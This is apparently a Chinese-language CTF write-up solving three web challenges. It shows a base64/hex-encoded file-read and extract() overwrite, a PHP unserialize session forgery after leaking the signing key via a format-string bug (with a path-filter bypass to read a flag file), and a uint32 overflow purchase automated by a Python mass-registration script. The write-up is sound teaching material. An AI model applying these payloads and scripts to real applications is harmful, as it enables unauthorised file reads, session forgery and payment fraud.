Web 滴
Web 签到题
Web 大吉大利，今晚吃鸡
1）滴
网址http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09
参数两次base64解码一次ascii解码得到flag.php
观察只有flag.php才显示图片，尝试把index.php按规则编码获取到index的源码
<?php /* * https://blog.csdn.net/FengBanLiuYun/article/details/80616607 * Date: July 4,2018 */ error_reporting(E_ALL || ~E_NOTICE); header('content-type:text/html;charset=utf-8'); if(! isset($_GET['jpg'])) header('Refresh:0;url=./index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09'); $file = hex2bin(base64_decode(base64_decode($_GET['jpg']))); echo '<title>'.$_GET['jpg'].'</title>'; $file = preg_replace("/[^a-zA-Z0-9.]+/","", $file); echo $file.'</br>'; $file = str_replace("config","!", $file); echo $file.'</br>'; $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64,".$txt."'></img>"; /* * Can you find the flag file? * */ ?>
访问网址，发现出题人的博客，代码注释里日期2018.7.4找到对应日期的博客
猜测存在vim异常退出留下的文件，尝试访问博客中文件名practice.txt.swp
http://117.51.150.246/practice.txt.swp
得到的线索f1ag!ddctf.php
在开始页面编码f1ag!ddctf.php尝试读取，其中根据上面得到的源码 ‘！’ 被过滤，用config代替
得到源码
<?php include('config.php'); $k = 'hello'; extract($_GET); if(isset($uid)) { $content=trim(file_get_contents($k)); if($uid==$content) { echo $flag; } else { echo'hello'; } } ?>
其中存在extract覆盖漏洞，直接访问http://117.51.150.246/f1ag!ddctf.php?uid=&k=
得到flag
2)WEB签到题
进入之后无法访问，查看网络传输信息，找到post请求网址为Auth.php猜测为验证登录
尝试ddctf_username=admin发包成功进入，提示请访问:app/fL2XID2i0Cdh.php
访问页面查看到app/Application.php和app/Session.php源码
1 url:app/Application.php 2 3 4 Class Application { 5 var $path = ''; 6 7 8 public function response($data, $errMsg = 'success') { 9 $ret = ['errMsg' => $errMsg, 10 'data' => $data]; 11 $ret = json_encode($ret); 12 header('Content-type: application/json'); 13 echo $ret; 14 15 } 16 17 public function auth() { 18 $DIDICTF_ADMIN = 'admin'; 19 if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) { 20 $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php'); 21 return TRUE; 22 }else{ 23 $this->response('抱歉，您没有登陆权限，请获取权限后访问-----','error'); 24 exit(); 25 } 26 27 } 28 private function sanitizepath($path) { 29 $path = trim($path); 30 $path=str_replace('../','',$path); 31 $path=str_replace('..\\','',$path); 32 return $path; 33 } 34 35 public function __destruct() { 36 if(empty($this->path)) { 37 exit(); 38 }else{ 39 $path = $this->sanitizepath($this->path); 40 if(strlen($path) !== 18) { 41 exit(); 42 } 43 $this->response($data=file_get_contents($path),'Congratulations'); 44 } 45 exit(); 46 } 47 }
其中看到Application类中的path参数在魔术方法__destruct()中被调用，并对path进行了一些限制
其中还有危险函数file_get_contents可能用于读取目的文件
猜测可能存在反序列化漏洞
1 url:app/Session.php 2 3 4 5 include 'Application.php'; 6 class Session extends Application { 7 8 //key建议为8位字符串 9 var $eancrykey = ''; 10 var $cookie_expiration = 7200; 11 var $cookie_name = 'ddctf_id'; 12 var $cookie_path = ''; 13 var $cookie_domain = ''; 14 var $cookie_secure = FALSE; 15 var $activity = "DiDiCTF"; 16 17 18 public function index() 19 { 20 if(parent::auth()) { 21 $this->get_key(); 22 if($this->session_read()) { 23 $data = 'DiDI Welcome you %s'; 24 $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); 25 parent::response($data,'sucess'); 26 }else{ 27 $this->session_create(); 28 $data = 'DiDI Welcome you'; 29 parent::response($data,'sucess'); 30 } 31 } 32 33 } 34 35 private function get_key() { 36 //eancrykey and flag under the folder 37 $this->eancrykey = file_get_contents('../config/key.txt'); 38 } 39 40 public function session_read() { 41 if(empty($_COOKIE)) { 42 return FALSE; 43 } 44 45 $session = $_COOKIE[$this->cookie_name]; 46 if(!isset($session)) { 47 parent::response("session not found",'error'); 48 return FALSE; 49 } 50 $hash = substr($session,strlen($session)-32); 51 $session = substr($session,0,strlen($session)-32); 52 53 if($hash !== md5($this->eancrykey.$session)) { 54 parent::response("the cookie data not match",'error'); 55 return FALSE; 56 } 57 $session = unserialize($session); 58 59 60 if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ 61 return FALSE; 62 } 63 64 if(!empty($_POST["nickname"])) { 65 $arr = array($_POST["nickname"],$this->eancrykey); 66 $data = "Welcome my friend %s"; 67 foreach ($arr as $k => $v) { 68 $data = sprintf($data,$v); 69 } 70 parent::response($data,"Welcome"); 71 } 72 73 if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { 74 parent::response('the ip addree not match'.'error'); 75 return FALSE; 76 } 77 if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { 78 parent::response('the user agent not match','error'); 79 return FALSE; 80 } 81 return TRUE; 82 83 } 84 85 private function session_create() { 86 $sessionid = ''; 87 while(strlen($sessionid) < 32) { 88 $sessionid .= mt_rand(0,mt_getrandmax()); 89 } 90 91 $userdata = array( 92 'session_id' => md5(uniqid($sessionid,TRUE)), 93 'ip_address' => $_SERVER['REMOTE_ADDR'], 94 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 95 'user_data' => '', 96 ); 97 98 $cookiedata = serialize($userdata); 99 $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); 100 $expire = $this->cookie_expiration + time(); 101 setcookie( 102 $this->cookie_name, 103 $cookiedata, 104 $expire, 105 $this->cookie_path, 106 $this->cookie_domain, 107 $this->cookie_secure 108 ); 109 110 } 111 } 112 113 114 $ddctf = new Session(); 115 $ddctf->index();
57行 $session = unserialize($session); 验证了之前的猜想存在反序列化漏洞
那么就是要构造session并调用Application类赋给path值读取flag文件
35行 提示flag所在路径,猜测'../config/flag.txt'
private function get_key() { //eancrykey and flag under the folder $this->eancrykey = file_get_contents('../config/key.txt'); }
构造的session会经过一些验证，其中主要构造验证hash值
其验证方式为session[-32:] = md5(eancrykey+session[:-32])
即session的后32位是eancrykey与前面所有字符串拼接后的md5值
接下来就是找eancrykey的具体值，注意到 64行
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }
熟悉pwn的话容易看出这里存在格式化字符串漏洞
我们令nickname=%s 然后post
成功打印了eancrykey的值：EzBlrbNS
之后开始构造session，urldecode一下原来的session
再经过反序列化之后添加一个Application类，其中path处限制长度18
并且会把../过滤掉，构造'..././config/flag.txt'恰好满足长度
<?php class Application{ var $path='..././config/flag.txt'; } $a = new Application(); $arr = array ( 'session_id' => '063e9d131dd8777edc6e3e6c87dcac56', 'ip_address' => 'x.x.x.x', 'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0', 'user_data' => '', 'payload' => $a, ); $test = serialize($arr); $eancrykey= 'EzblrbNS'; $hash = md5($eancrykey.$test); echo $test.$hash; ?>
得到
a:5:{s:10:"session_id";s:32:"063e9d131dd8777edc6e3e6c87dcac56";s:10:"ip_address";s:13:"x.x.x.x";s:10:"user_agent";s:78:"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";s:9:"user_data";s:0:"";s:7:"payload";O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}}38b449cd93daf12a3d889a58594ab3d4
经过urlencode提交得到flag
3）大吉大利，今晚吃鸡～
注册登录，显示用户余额100，需要200购买入场卷，直接购买，支付显示余额不足
查看cookie，发现为REVEL_SESSION，推测后台使用golang编写
猜测存在数据溢出，查看go数据类型范围
尝试之后发现为uint32类型，抓包修改金额为4294967296，支付，成功购买
之后需要移除99个对手，注册一个新号同样操作之后填入id与ticket，显示成功移除一名机器人
之后目的就明确了，写脚本注册购买并将id和ticket填入即可
另外，注册页面存在越权漏洞，注册一个帐号，不管是否注册成功都会返回其cookie可用其登录
脚本如下，网上其他师傅的改了一点，学习了
1 import requests 2 import time 3 4 users={} 5 6 def register(name,pwd='aaaaaaaa'): 7 url='http://117.51.147.155:5050/ctf/api/register?name=%s&password=%s' %(name,pwd) 8 requests.adapters.DEFAULT_RETRIES = 5 9 re=requests.get(url=url) 10 re.keep_alive = False 11 cookies=re.cookies.get_dict() 12 users[cookies['user_name']]=cookies['REVEL_SESSION'] 13 print cookies['user_name'],cookies['REVEL_SESSION'] 14 return cookies['user_name'],cookies['REVEL_SESSION'] 15 16 def buyticket(name,session): 17 url='http://117.51.147.155:5050/ctf/api/buy_ticket?ticket_price=4294967296' 18 header={ 19 'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session) 20 } 21 re=requests.get(url=url,headers=header) 22 bill_id = re.json()['data'][0]['bill_id'] 23 print bill_id 24 payticket(bill_id,name,session) 25 26 27 def payticket(bill_id,name,session): 28 url='http://117.51.147.155:5050/ctf/api/pay_ticket?bill_id=%s'%(bill_id) 29 header={ 30 'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(name,session) 31 } 32 re=requests.get(url=url,headers=header) 33 my_id=re.json()["data"][0]["your_id"] 34 my_ticket=re.json()["data"][0]["your_ticket"] 35 getflag(my_id,my_ticket) 36 37 def getflag(id,ticket): 38 url='http://117.51.147.155:5050/ctf/api/remove_robot?id=%s&ticket=%s' %(id,ticket) 39 header={ 40 'Cookie': 'user_name=%s; REVEL_SESSION=%s' %(MainUser,MainSession) 41 } 42 re=requests.get(url=url,headers=header) 43 print re.text 44 45 46 if __name__=="__main__": 47 MainUser,MainSession=register('MainUser0002') 48 buyticket(MainUser,MainSession) 49 time.sleep(1.1) 50 for i in range(200,205): 51 register('AttachUrr%s' %(i)) 52 time.sleep(0.6) 53 for j in users: 54 if j!=MainUser: 55 buyticket(j,users[j]) 56 time.sleep(0.6)